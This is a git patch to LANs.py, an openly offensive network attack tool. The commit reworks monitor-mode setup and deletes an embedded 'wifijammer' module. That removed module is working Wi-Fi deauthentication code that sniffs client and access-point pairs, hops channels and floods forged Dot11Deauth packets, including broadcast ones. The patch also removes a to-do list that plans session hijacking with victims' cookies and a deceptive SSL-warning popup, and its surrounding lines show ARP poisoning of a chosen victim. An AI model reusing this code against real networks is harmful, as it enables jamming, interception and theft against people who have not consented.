From 4ad2333192575cb7f5639658babc6278e7f8da8d Mon Sep 17 00:00:00 2001 From: Dan McInerney Date: Sun, 22 Nov 2015 11:56:13 -0700 Subject: [PATCH] fixed monitor mode --- LANs.py | 407 ++------------------------------------------------------ 1 file changed, 12 insertions(+), 395 deletions(-) diff --git a/LANs.py b/LANs.py index f35ee5a..a67e820 100755 --- a/LANs.py +++ b/LANs.py @@ -12,15 +12,6 @@ Prerequisites: Linux twisted Note: This script flushes iptables before and after usage. - -To do: - *** Finish https://github.com/DanMcInerney/net-creds and plug it in as the LANs.py main cred engine - Refactor with lots of smaller functions - Cookie saver so you can browse using their cookies (how to use nfqueue with multiple queues?) - Add karma MITM technique - Add SSL proxy for self-signed cert, and make the script force a single JS popup saying there's a temporary problem with SSL validation and to just click through - Integrate with wifite would be cool - ''' @@ -40,7 +31,6 @@ import os try: import nfqueue except Exception: - raise module_check('nfqueue') import nfqueue import logging @@ -186,6 +176,7 @@ def LANsMain(args): au.users(IPprefix, routerIP) print '\n[*] Turning off monitor mode' os.system('airmon-ng stop %s >/dev/null 2>&1' % au.monmode) + os.system('service network-manager restart') try: victimIP = raw_input('[*] Enter the non-router IP to spoof: ') except KeyboardInterrupt: @@ -1025,7 +1016,8 @@ class active_users(): def users(self, IPprefix, routerIP): - print '[*] Running ARP scan to identify users on the network; this may take a minute - [nmap -sn -n %s]' % IPprefix + print '[*] Running ARP scan to identify users on the network; this may take a minute' + print ' nmap -sn -n %s' % IPprefix iplist = [] maclist = [] try: @@ -1059,7 +1051,8 @@ class active_users(): exit('[-] Router MAC not found. Exiting.') # Do nbtscan for windows netbios names - print '[*] Running nbtscan to get Windows netbios names - [nbtscan %s]' % IPprefix + print '[*] Running nbtscan to get Windows netbios names' + print ' nbtscan %s' % IPprefix try: nbt = Popen(['nbtscan', IPprefix], stdout=PIPE, stderr=DN) nbt = nbt.communicate()[0] @@ -1080,14 +1073,15 @@ class active_users(): a.append(nbtname) # Start monitor mode - print '[*] Enabling monitor mode [airmon-ng ' + 'start ' + interface + ']' try: - promiscSearch = Popen(['airmon-ng', 'start', '%s' % interface], stdout=PIPE, stderr=DN) - promisc = promiscSearch.communicate()[0] - monmodeSearch = re.search('monitor mode enabled on (.+)\)', promisc) - self.monmode = monmodeSearch.group(1) + print '[*] Enabling monitor mode' + print ' airmon-ng check kill' + os.system('airmon-ng check kill') + print ' airmon-ng start ' + interface + os.system('airmon-ng start ' + interface) + self.monmode = interface+'mon' except Exception: - exit('[-] Enabling monitor mode failed, do you have aircrack-ng installed?') + exit('[-] Enabling monitor mode failed') sniff(iface=self.monmode, prn=self.pkt_cb, store=0) @@ -1212,380 +1206,6 @@ def pcap_handler(args): Spoof().poison(routerIP, victimIP, routerMAC, victimMAC) time.sleep(1.5) -################################# -####End LANs.py Code############# -################################ - -################################ -#####Start wifijammer Code###### -############################### - -clients_APs = [] -APs = [] -lock = Lock() -monitor_on = None -mon_MAC = "" -first_pass = 1 - - -def wifijammerMain(args): - confirmJam = raw_input("Are you sure you want to jam WiFi? This may be illegal in your area. (y/n)") - if "n" in confirmJam: - exit("Program cancelled.") - print("Ok. Jamming.") - mon_iface = get_mon_iface(args) - conf.iface = mon_iface - mon_MAC = mon_mac(mon_iface) - - # Start channel hopping - hop = Thread(target=channel_hop, args=(mon_iface, args)) - hop.daemon = True - hop.start() - - signal.signal(signal.SIGINT, stop) - - try: - sniff(iface=mon_iface, store=0, prn=cb) - except Exception as msg: - remove_mon_iface(mon_iface) - print '\n[' + R + '!' + W + '] Closing' - sys.exit(0) - -def get_mon_iface(args): - global monitor_on - monitors, interfaces = iwconfig() - if args.interface: - monitor_on = True - return args.interface - if len(monitors) > 0: - monitor_on = True - return monitors[0] - else: - # Start monitor mode on a wireless interface - print '[' + G + '*' + W + '] Finding the most powerful interface...' - interface = get_iface(interfaces) - monmode = start_mon_mode(interface) - return monmode - - -def iwconfig(): - monitors = [] - interfaces = {} - DN = open(os.devnull, 'w') - proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN) - for line in proc.communicate()[0].split('\n'): - if len(line) == 0: continue # Isn't an empty string - if line[0] != ' ': # Doesn't start with space - wired_search = re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line) - if not wired_search: # Isn't wired - iface = line[:line.find(' ')] # is the interface - if 'Mode:Monitor' in line: - monitors.append(iface) - elif 'IEEE 802.11' in line: - if "ESSID:\"" in line: - interfaces[iface] = 1 - else: - interfaces[iface] = 0 - return monitors, interfaces - - -def get_iface(interfaces): - scanned_aps = [] - DN = open(os.devnull, 'w') - if len(interfaces) < 1: - sys.exit('[' + R + '-' + W + '] No wireless interfaces found, bring one up and try again') - if len(interfaces) == 1: - for interface in interfaces: - return interface - - # Find most powerful interface - for iface in interfaces: - count = 0 - proc = Popen(['iwlist', iface, 'scan'], stdout=PIPE, stderr=DN) - for line in proc.communicate()[0].split('\n'): - if ' - Address:' in line: # first line in iwlist scan for a new AP - count += 1 - scanned_aps.append((count, iface)) - print '[' + G + '+' + W + '] Networks discovered by ' + G + iface + W + ': ' + T + str(count) + W - try: - interface = max(scanned_aps)[1] - print '[' + G + '+' + W + '] ' + interface + " chosen. Is this ok? [Enter=yes] " - input = raw_input() - if input == "" or input == "y" or input == "Y" or input.lower() == "yes": - return interface - else: - interfaceInput = raw_input("What interface would you like to use instead? ") - if interfaceInput in interfaces: - return interfaceInput - else: - print '[' + R + '!' + W + '] Exiting: Invalid Interface!' - except Exception as e: - for iface in interfaces: - interface = iface - print '[' + R + '-' + W + '] Minor error:', e - print ' Starting monitor mode on ' + G + interface + W - return interface - - -def start_mon_mode(interface): - print '[' + G + '+' + W + '] Starting monitor mode off ' + G + interface + W - try: - os.system('ifconfig %s down' % interface) - os.system('iwconfig %s mode monitor' % interface) - os.system('ifconfig %s up' % interface) - return interface - except Exception: - sys.exit('[' + R + '-' + W + '] Could not start monitor mode') - - -def remove_mon_iface(mon_iface): - os.system('ifconfig %s down' % mon_iface) - os.system('iwconfig %s mode managed' % mon_iface) - os.system('ifconfig %s up' % mon_iface) - - -def mon_mac(mon_iface): - ''' - http://stackoverflow.com/questions/159137/getting-mac-address - ''' - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', mon_iface[:15])) - mac = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1] - print '[' + G + '*' + W + '] Monitor mode: ' + G + mon_iface + W + ' - ' + O + mac + W - return mac - - -def channel_hop(mon_iface, args): - ''' - First time it runs through the channels it stays on each channel for 5 seconds - in order to populate the deauth list nicely. After that it goes as fast as it can - ''' - global monchannel, first_pass - DN = open(os.devnull, 'w') - channelNum = 0 - err = None - while 1: - if args.channel: - with lock: - monchannel = args.channel - else: - channelNum += 1 - if channelNum > 11: - channelNum = 1 - with lock: - first_pass = 0 - with lock: - monchannel = str(channelNum) - - proc = Popen(['iw', 'dev', mon_iface, 'set', 'channel', monchannel], stdout=DN, stderr=PIPE) - for line in proc.communicate()[1].split('\n'): - if len(line) > 2: # iw dev shouldnt display output unless there's an error - err = '[' + R + '-' + W + '] Channel hopping failed: ' + R + line + W - - output(err, monchannel) - if args.channel: - time.sleep(.05) - else: - # For the first channel hop thru, do not deauth - if first_pass == 1: - time.sleep(1) - continue - - deauth(monchannel) - - -def deauth(monchannel): - ''' - addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway if there's - multi-APs to one gateway. Constantly scans the clients_APs list and - starts a thread to deauth each instance - ''' - - pkts = [] - - if len(clients_APs) > 0: - with lock: - for x in clients_APs: - client = x[0] - ap = x[1] - ch = x[2] - # Can't add a RadioTap() layer as the first layer or it's a malformed - # Association request packet? - # Append the packets to a new list so we don't have to hog the lock - # type=0, subtype=12? - if ch == monchannel: - deauth_pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap) / Dot11Deauth() - deauth_pkt2 = Dot11(addr1=ap, addr2=client, addr3=client) / Dot11Deauth() - pkts.append(deauth_pkt1) - pkts.append(deauth_pkt2) - if len(APs) > 0: - if not args.directedonly: - with lock: - for a in APs: - ap = a[0] - ch = a[1] - if ch == monchannel: - deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap) / Dot11Deauth() - pkts.append(deauth_ap) - - if len(pkts) > 0: - # prevent 'no buffer space' scapy error http://goo.gl/6YuJbI - if not args.timeinterval: - args.timeinterval = 0 - if not args.packets: - args.packets = 1 - - for p in pkts: - send(p, inter=float(args.timeinterval), count=int(args.packets)) - - -def output(err, monchannel): - os.system('clear') - mon_iface = get_mon_iface(args) - if err: - print err - else: - print '[' + G + '+' + W + '] ' + mon_iface + ' channel: ' + G + monchannel + W + '\n' - if len(clients_APs) > 0: - print ' Deauthing ch ESSID' - # Print the deauth list - with lock: - for ca in clients_APs: - if len(ca) > 3: - print '[' + T + '*' + W + '] ' + O + ca[0] + W + ' - ' + O + ca[1] + W + ' - ' + ca[2].ljust( - 2) + ' - ' + T + ca[3] + W - else: - print '[' + T + '*' + W + '] ' + O + ca[0] + W + ' - ' + O + ca[1] + W + ' - ' + ca[2] - if len(APs) > 0: - print '\n Access Points ch ESSID' - with lock: - for ap in APs: - print '[' + T + '*' + W + '] ' + O + ap[0] + W + ' - ' + ap[1].ljust(2) + ' - ' + T + ap[2] + W - print '' - - -def noise_filter(skip, addr1, addr2): - # Broadcast, broadcast, IPv6mcast, spanning tree, spanning tree, multicast, broadcast - ignore = ['ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:', '01:80:c2:00:00:00', '01:00:5e:', - mon_MAC] - if skip: - ignore.append(skip) - for i in ignore: - if i in addr1 or i in addr2: - return True - - -def cb(pkt): - ''' - Look for dot11 packets that aren't to or from broadcast address, - are type 1 or 2 (control, data), and append the addr1 and addr2 - to the list of deauth targets. - ''' - global clients_APs, APs - - # return these if's keeping clients_APs the same or just reset clients_APs? - # I like the idea of the tool repopulating the variable more - if args.maximum: - if args.noupdate: - if len(clients_APs) > int(args.maximum): - return - else: - if len(clients_APs) > int(args.maximum): - with lock: - clients_APs = [] - APs = [] - - # We're adding the AP and channel to the deauth list at time of creation rather - # than updating on the fly in order to avoid costly for loops that require a lock - if pkt.haslayer(Dot11): - if pkt.addr1 and pkt.addr2: - - # Filter out all other APs and clients if asked - if args.accesspoint: - if args.accesspoint not in [pkt.addr1, pkt.addr2]: - return - - # Check if it's added to our AP list - if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): - APs_add(clients_APs, APs, pkt, args.channel) - - # Ignore all the noisy packets like spanning tree - if noise_filter(args.skip, pkt.addr1, pkt.addr2): - return - - # Management = 1, data = 2 - if pkt.type in [1, 2]: - clients_APs_add(clients_APs, pkt.addr1, pkt.addr2) - - -def APs_add(clients_APs, APs, pkt, chan_arg): - ssid = pkt[Dot11Elt].info - bssid = pkt[Dot11].addr3 - try: - # Thanks to airoscapy for below - ap_channel = str(ord(pkt[Dot11Elt:3].info)) - # Prevent 5GHz APs from being thrown into the mix - chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11'] - if ap_channel not in chans: - return - - if chan_arg: - if ap_channel != chan_arg: - return - - except Exception as e: - return - - if len(APs) == 0: - with lock: - return APs.append([bssid, ap_channel, ssid]) - else: - for b in APs: - if bssid in b[0]: - return - with lock: - return APs.append([bssid, ap_channel, ssid]) - - -def clients_APs_add(clients_APs, addr1, addr2): - if len(clients_APs) == 0: - if len(APs) == 0: - with lock: - return clients_APs.append([addr1, addr2, monchannel]) - else: - AP_check(addr1, addr2) - - # Append new clients/APs if they're not in the list - else: - for ca in clients_APs: - if addr1 in ca and addr2 in ca: - return - - if len(APs) > 0: - return AP_check(addr1, addr2) - else: - with lock: - return clients_APs.append([addr1, addr2, monchannel]) - - -def AP_check(addr1, addr2): - for ap in APs: - if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower(): - with lock: - return clients_APs.append([addr1, addr2, ap[1], ap[2]]) - - -def stop(signal, frame): - if monitor_on: - sys.exit('\n[' + R + '!' + W + '] Closing') - else: - remove_mon_iface(mon_iface) - sys.exit('\n[' + R + '!' + W + '] Closing') - -############################# -#####End wifijammer Code##### -############################# - if __name__ == "__main__": if not os.geteuid() == 0: @@ -1596,8 +1216,5 @@ if __name__ == "__main__": if args.pcap: pcap_handler(args) exit('[-] Finished parsing pcap file') - - if args.jam: - wifijammerMain(args) else: LANsMain(args)